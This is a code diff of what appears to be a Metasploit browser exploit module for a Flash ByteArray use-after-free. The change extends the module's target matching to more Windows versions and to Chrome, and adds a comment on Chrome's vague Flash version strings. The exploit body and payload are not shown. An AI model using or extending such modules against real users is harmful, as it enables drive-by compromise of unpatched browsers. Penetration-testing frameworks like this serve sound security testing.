@@ -19,8 +19,10 @@ def initialize(info={})
19
19
described as an Use After Free while handling ByteArray objects. This module has
20
20
been tested successfully on:
21
21
22
+ Windows XP, Chrome 43 and Adobe Flash 18.0.0.194,
22
23
Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
23
24
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
25
+ Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194,
24
26
Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.
25
27
} ,
26
28
'License' => MSF_LICENSE ,
@@ -46,12 +48,15 @@ def initialize(info={})
46
48
:arch => ARCH_X86 ,
47
49
:os_name => lambda do |os |
48
50
os =~ OperatingSystems ::Match ::LINUX ||
49
- os =~ OperatingSystems ::Match ::WINDOWS_7
51
+ os =~ OperatingSystems ::Match ::WINDOWS_7 ||
52
+ os =~ OperatingSystems ::Match ::WINDOWS_81 ||
53
+ os =~ OperatingSystems ::Match ::WINDOWS_VISTA ||
54
+ os =~ OperatingSystems ::Match ::WINDOWS_XP
50
55
end ,
51
56
:ua_name => lambda do |ua |
52
57
case target . name
53
58
when 'Windows'
54
- return true if ua == Msf ::HttpClients ::IE || ua == Msf ::HttpClients ::FF
59
+ return true if ua == Msf ::HttpClients ::IE || ua == Msf ::HttpClients ::FF || ua == Msf :: HttpClients :: CHROME
55
60
when 'Linux'
56
61
return true if ua == Msf ::HttpClients ::FF
57
62
end
@@ -61,6 +66,8 @@ def initialize(info={})
61
66
:flash => lambda do |ver |
62
67
case target . name
63
68
when 'Windows'
69
+ # Note: Chrome might be vague about the version.
70
+ # Instead of 18.0.0.203, it just says 18.0
64
71
return true if ver =~ /^18\. / && Gem ::Version . new ( ver ) <= Gem ::Version . new ( '18.0.0.194' )
65
72
when 'Linux'
66
73
return true if ver =~ /^11\. / && Gem ::Version . new ( ver ) <= Gem ::Version . new ( '11.2.202.468' )
0 commit comments